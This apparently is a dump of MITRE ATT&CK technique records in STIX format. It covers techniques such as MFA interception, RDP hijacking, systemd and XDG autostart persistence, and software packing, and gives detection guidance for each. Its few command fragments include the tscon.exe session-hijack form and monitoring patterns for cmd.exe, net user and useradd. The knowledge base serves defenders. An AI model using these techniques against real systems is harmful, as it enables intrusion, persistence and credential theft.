] | If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)
If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.
There are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., <code>LogonUser</code> (Citation: Microsoft LogonUser), <code>DuplicateTokenEx</code>(Citation: Microsoft DuplicateTokenEx), and <code>ImpersonateLoggedOnUser</code>(Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.
Query systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)
Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 2.0 |
attack-pattern | attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:31:23.195000Z" | "2023-04-14T23:26:24.262000Z" | Multi-Factor Authentication Interception | Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms.
If a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)
Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)
Other methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users’ phones.(Citation: Okta Scatter Swine 2022) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
] | false | [
{
"description": null,
"external_id": "T1111",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1111"
},
{
"description": "Jackson, William. (2011, June 7). RSA confirms its tokens used in Lockheed hack. Retrieved September 24, 2018.",
"external_id": null,
"source_name": "GCN RSA June 2011",
"url": "https://gcn.com/cybersecurity/2011/06/rsa-confirms-its-tokens-used-in-lockheed-hack/282818/"
},
{
"description": "Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved January 10, 2016.",
"external_id": null,
"source_name": "Mandiant M Trends 2011",
"url": "https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf"
},
{
"description": "Okta. (2022, August 25). Detecting Scatter Swine: Insights into a Relentless Phishing Campaign. Retrieved February 24, 2023.",
"external_id": null,
"source_name": "Okta Scatter Swine 2022",
"url": "https://sec.okta.com/scatterswine"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.
Similar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"Windows",
"macOS"
] | 2.1 |
attack-pattern | attack-pattern--deb98323-e13f-4b0c-8d94-175379069062 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-05T14:17:46.686000Z" | "2023-03-30T21:01:48.113000Z" | Software Packing | Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)
Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.(Citation: Awesome Executable Packing) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1027.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1027/002"
},
{
"description": "Alexandre D'Hondt. (n.d.). Awesome Executable Packing. Retrieved March 11, 2022.",
"external_id": null,
"source_name": "Awesome Executable Packing",
"url": "https://github.com/dhondta/awesome-executable-packing"
},
{
"description": "Kafka, F. (2018, January). ESET's Guide to Deobfuscating and Devirtualizing FinFisher. Retrieved August 12, 2019.",
"external_id": null,
"source_name": "ESET FinFisher Jan 2018",
"url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"macOS",
"Windows",
"Linux"
] | 1.2 |
attack-pattern | attack-pattern--df1bc34d-1634-4c93-b89e-8120994fce77 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2022-07-08T12:46:15.450000Z" | "2022-10-20T21:19:57.555000Z" | Serverless | Adversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.
Once compromised, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
] | false | [
{
"description": null,
"external_id": "T1584.007",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1584/007"
},
{
"description": "Adam Chester. (2020, February 25). AWS Lambda Redirector. Retrieved July 8, 2022.",
"external_id": null,
"source_name": "AWS Lambda Redirector",
"url": "https://blog.xpnsec.com/aws-lambda-redirector/"
},
{
"description": "Gary Golomb. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved July 8, 2022.",
"external_id": null,
"source_name": "Detecting Command & Control in the Cloud",
"url": "https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/"
},
{
"description": "Lawrence Abrams. (2020, March 14). BlackWater Malware Abuses Cloudflare Workers for C2 Communication. Retrieved July 8, 2022.",
"external_id": null,
"source_name": "BlackWater Malware Cloudflare Workers",
"url": "https://www.bleepingcomputer.com/news/security/blackwater-malware-abuses-cloudflare-workers-for-c2-communication/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.0 |
|
attack-pattern | attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-15T16:13:46.151000Z" | "2024-04-16T12:28:21.234000Z" | Web Protocols | Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Protocols such as HTTP/S(Citation: CrowdStrike Putter Panda) and WebSocket(Citation: Brazking-Websockets) that carry web traffic may be very common in environments. HTTP/S packets have many fields and headers in which data can be concealed. An adversary may abuse these protocols to communicate with systems under their control within a victim network while also mimicking normal, expected traffic. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
] | false | [
{
"description": null,
"external_id": "T1071.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1071/001"
},
{
"description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.",
"external_id": null,
"source_name": "CrowdStrike Putter Panda",
"url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
},
{
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"external_id": null,
"source_name": "University of Birmingham C2",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
},
{
"description": "Shahar Tavor. (n.d.). BrazKing Android Malware Upgraded and Targeting Brazilian Banks. Retrieved March 24, 2023.",
"external_id": null,
"source_name": "Brazking-Websockets",
"url": "https://securityintelligence.com/posts/brazking-android-malware-upgraded-targeting-brazilian-banks/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)
Monitor for web traffic to/from known-bad or suspicious domains. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows",
"Network"
] | 1.3 |
attack-pattern | attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-09T14:29:51.508000Z" | "2023-04-07T17:13:03.738000Z" | Visual Basic | Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)
Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)
Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads (which may also involve [Mark-of-the-Web Bypass](https://attack.mitre.org/techniques/T1553/005) to enable execution).(Citation: Default VBS macros Blocking ) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
] | false | [
{
"description": null,
"external_id": "T1059.005",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1059/005"
},
{
"description": ".NET Team. (2020, March 11). Visual Basic support planned for .NET 5.0. Retrieved June 23, 2020.",
"external_id": null,
"source_name": "VB .NET Mar 2020",
"url": "https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/"
},
{
"description": "Kellie Eickmeyer. (2022, February 7). Helping users stay safe: Blocking internet macros by default in Office. Retrieved February 7, 2022.",
"external_id": null,
"source_name": "Default VBS macros Blocking ",
"url": "https://techcommunity.microsoft.com/t5/microsoft-365-blog/helping-users-stay-safe-blocking-internet-macros-by-default-in/ba-p/3071805"
},
{
"description": "Microsoft. (2011, April 19). What Is VBScript?. Retrieved March 28, 2020.",
"external_id": null,
"source_name": "Microsoft VBScript",
"url": "https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)"
},
{
"description": "Microsoft. (2019, June 11). Office VBA Reference. Retrieved June 23, 2020.",
"external_id": null,
"source_name": "Microsoft VBA",
"url": "https://docs.microsoft.com/office/vba/api/overview/"
},
{
"description": "Microsoft. (n.d.). Visual Basic documentation. Retrieved June 23, 2020.",
"external_id": null,
"source_name": "VB Microsoft",
"url": "https://docs.microsoft.com/dotnet/visual-basic/"
},
{
"description": "Wikipedia. (n.d.). Visual Basic for Applications. Retrieved August 13, 2020.",
"external_id": null,
"source_name": "Wikipedia VBA",
"url": "https://en.wikipedia.org/wiki/Visual_Basic_for_Applications"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source.
Understanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"macOS",
"Linux"
] | 1.4 |
attack-pattern | attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-06-28T22:55:55.719000Z" | "2020-06-29T15:12:11.024000Z" | Hidden File System | Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)
Adversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1564.005",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1564/005"
},
{
"description": "Hutchins, M. (2014, November 28). Virtual File Systems for Beginners. Retrieved June 22, 2020.",
"external_id": null,
"source_name": "MalwareTech VFS Nov 2014",
"url": "https://www.malwaretech.com/2014/11/virtual-file-systems-for-beginners.html"
},
{
"description": "Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.",
"external_id": null,
"source_name": "FireEye Bootkits",
"url": "https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html"
},
{
"description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.",
"external_id": null,
"source_name": "ESET ComRAT May 2020",
"url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf"
},
{
"description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.",
"external_id": null,
"source_name": "Kaspersky Equation QA",
"url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Detecting the use of a hidden file system may be exceptionally difficult depending on the implementation. Emphasis may be placed on detecting related aspects of the adversary lifecycle, such as how malware interacts with the hidden file system or how a hidden file system is loaded. Consider looking for anomalous interactions with the Registry or with a particular file on disk. Likewise, if the hidden file system is loaded on boot from reserved disk space, consider shifting focus to detecting [Bootkit](https://attack.mitre.org/techniques/T1542/003) activity. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.0 |
attack-pattern | attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-17T16:15:19.870000Z" | "2024-02-15T14:19:22.282000Z" | Systemd Service | Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014) Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.
Systemd utilizes unit configuration files with the `.service` file extension to encode information about a service's process. By default, system level unit files are stored in the `/systemd/system` directory of the root owned directories (`/`). User level unit files are stored in the `/systemd/user` directories of the user owned directories (`$HOME`).(Citation: lambert systemd 2022)
Inside the `.service` unit files, the following directives are used to execute commands:(Citation: freedesktop systemd.service)
* `ExecStart`, `ExecStartPre`, and `ExecStartPost` directives execute when a service is started manually by `systemctl` or on system start if the service is set to automatically start.
* `ExecReload` directive executes when a service restarts.
* `ExecStop`, `ExecStopPre`, and `ExecStopPost` directives execute when a service is stopped.
Adversaries have created new service files, altered the commands a `.service` file’s directive executes, and modified the user directive a `.service` file executes as, which could result in privilege escalation. Adversaries may also place symbolic links in these directories, enabling systemd to find these payloads regardless of where they reside on the filesystem.(Citation: Anomali Rocke March 2019)(Citation: airwalk backdoor unix systems)(Citation: Rapid7 Service Persistence 22JUNE2016)
The .service file’s User directive can be used to run service as a specific user, which could result in privilege escalation based on specific user/group permissions. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1543.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1543/002"
},
{
"description": "airwalk. (2023, January 1). A guide to backdooring Unix systems. Retrieved May 31, 2023.",
"external_id": null,
"source_name": "airwalk backdoor unix systems",
"url": "http://www.ouah.org/backdoors.html"
},
{
"description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019.",
"external_id": null,
"source_name": "Anomali Rocke March 2019",
"url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang"
},
{
"description": "Free Desktop. (n.d.). systemd.service — Service unit configuration. Retrieved March 20, 2023.",
"external_id": null,
"source_name": "freedesktop systemd.service",
"url": "https://www.freedesktop.org/software/systemd/man/systemd.service.html"
},
{
"description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.",
"external_id": null,
"source_name": "Linux man-pages: systemd January 2014",
"url": "http://man7.org/linux/man-pages/man1/systemd.1.html"
},
{
"description": "Pepe Berba. (2022, January 30). Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron. Retrieved March 20, 2023.",
"external_id": null,
"source_name": "Berba hunting linux systemd",
"url": "https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/"
},
{
"description": "Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019.",
"external_id": null,
"source_name": "Rapid7 Service Persistence 22JUNE2016",
"url": "https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence"
},
{
"description": "Tony Lambert. (2022, November 13). ATT&CK T1501: Understanding systemd service persistence. Retrieved March 20, 2023.",
"external_id": null,
"source_name": "lambert systemd 2022",
"url": "https://redcanary.com/blog/attck-t1501-understanding-systemd-service-persistence/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor file creation and modification events of Systemd service unit configuration files in the default directory locations for `root` & `user` level permissions. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the `root` user.(Citation: lambert systemd 2022)
Suspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: `systemctl list-units -–type=service –all`. Analyze the contents of `.service` files present on the file system and ensure that they refer to legitimate, expected executables, and symbolic links.(Citation: Berba hunting linux systemd)
Auditing the execution and command-line arguments of the `systemctl` utility, as well related utilities such as `/usr/sbin/service` may reveal malicious systemd service execution. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux"
] | 1.5 |
attack-pattern | attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-25T18:35:42.765000Z" | "2023-08-14T15:37:02.771000Z" | RDP Hijacking | Adversaries may hijack a legitimate user’s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)
Adversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\windows\system32\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "lateral-movement"
}
] | false | [
{
"description": null,
"external_id": "T1563.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1563/002"
},
{
"description": "Beaumont, K. (2017, March 19). RDP hijacking — how to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.",
"external_id": null,
"source_name": "RDP Hijacking Medium",
"url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6"
},
{
"description": "Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.",
"external_id": null,
"source_name": "RDP Hijacking Korznikov",
"url": "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html"
},
{
"description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.",
"external_id": null,
"source_name": "TechNet Remote Desktop Services",
"url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx"
},
{
"description": "NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.",
"external_id": null,
"source_name": "Kali Redsnarf",
"url": "https://github.com/nccgroup/redsnarf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Consider monitoring processes for `tscon.exe` usage and monitor service creation that uses `cmd.exe /k` or `cmd.exe /c` in its arguments to detect RDP session hijacking.
Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-12-14T16:46:06.044000Z" | "2024-01-31T20:46:43.215000Z" | Create Account | Adversaries may create an account to maintain access to victim systems.(Citation: Symantec WastedLocker June 2020) With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Accounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
] | false | [
{
"description": null,
"external_id": "T1136",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1136"
},
{
"description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.",
"external_id": null,
"source_name": "Microsoft User Creation Event",
"url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"
},
{
"description": "Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021.",
"external_id": null,
"source_name": "Symantec WastedLocker June 2020",
"url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor for processes and command-line parameters associated with account creation, such as <code>net user</code> or <code>useradd</code>. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.
Collect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Azure AD",
"Office 365",
"IaaS",
"Linux",
"macOS",
"Google Workspace",
"Network",
"Containers",
"SaaS"
] | 2.4 |
attack-pattern | attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2019-09-10T18:13:12.195000Z" | "2023-10-16T16:35:12.501000Z" | XDG Autostart Entries | Adversaries may add or modify XDG Autostart Entries to execute malicious programs or commands when a user’s desktop environment is loaded at login. XDG Autostart entries are available for any XDG-compliant Linux system. XDG Autostart entries use Desktop Entry files (`.desktop`) to configure the user’s desktop environment upon user login. These configuration files determine what applications launch upon user login, define associated applications to open specific file types, and define applications used to open removable media.(Citation: Free Desktop Application Autostart Feb 2006)(Citation: Free Desktop Entry Keys)
Adversaries may abuse this feature to establish persistence by adding a path to a malicious binary or command to the `Exec` directive in the `.desktop` configuration file. When the user’s desktop environment is loaded at user login, the `.desktop` files located in the XDG Autostart directories are automatically executed. System-wide Autostart entries are located in the `/etc/xdg/autostart` directory while the user entries are located in the `~/.config/autostart` directory.
Adversaries may combine this technique with [Masquerading](https://attack.mitre.org/techniques/T1036) to blend malicious Autostart entries with legitimate programs.(Citation: Red Canary Netwire Linux 2022) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
] | false | [
{
"description": null,
"external_id": "T1547.013",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1547/013"
},
{
"description": "Free Desktop. (2006, February 13). Desktop Application Autostart Specification. Retrieved September 12, 2019.",
"external_id": null,
"source_name": "Free Desktop Application Autostart Feb 2006",
"url": "https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html"
},
{
"description": "Free Desktop. (2017, December 24). Recognized Desktop Entry Keys. Retrieved September 12, 2019.",
"external_id": null,
"source_name": "Free Desktop Entry Keys",
"url": "https://specifications.freedesktop.org/desktop-entry-spec/1.2/ar01s06.html"
},
{
"description": "TONY LAMBERT. (2022, June 7). Trapping the Netwire RAT on Linux. Retrieved September 28, 2023.",
"external_id": null,
"source_name": "Red Canary Netwire Linux 2022",
"url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Malicious XDG autostart entries may be detected by auditing file creation and modification events within the <code>/etc/xdg/autostart</code> and <code>~/.config/autostart</code> directories. Depending on individual configurations, defenders may need to query the environment variables <code>$XDG_CONFIG_HOME</code> or <code>$XDG_CONFIG_DIRS</code> to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline.
Suspicious processes or scripts spawned in this manner will have a parent process of the desktop component implementing the XDG specification and will execute as the logged on user. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux"
] | 1.1 |
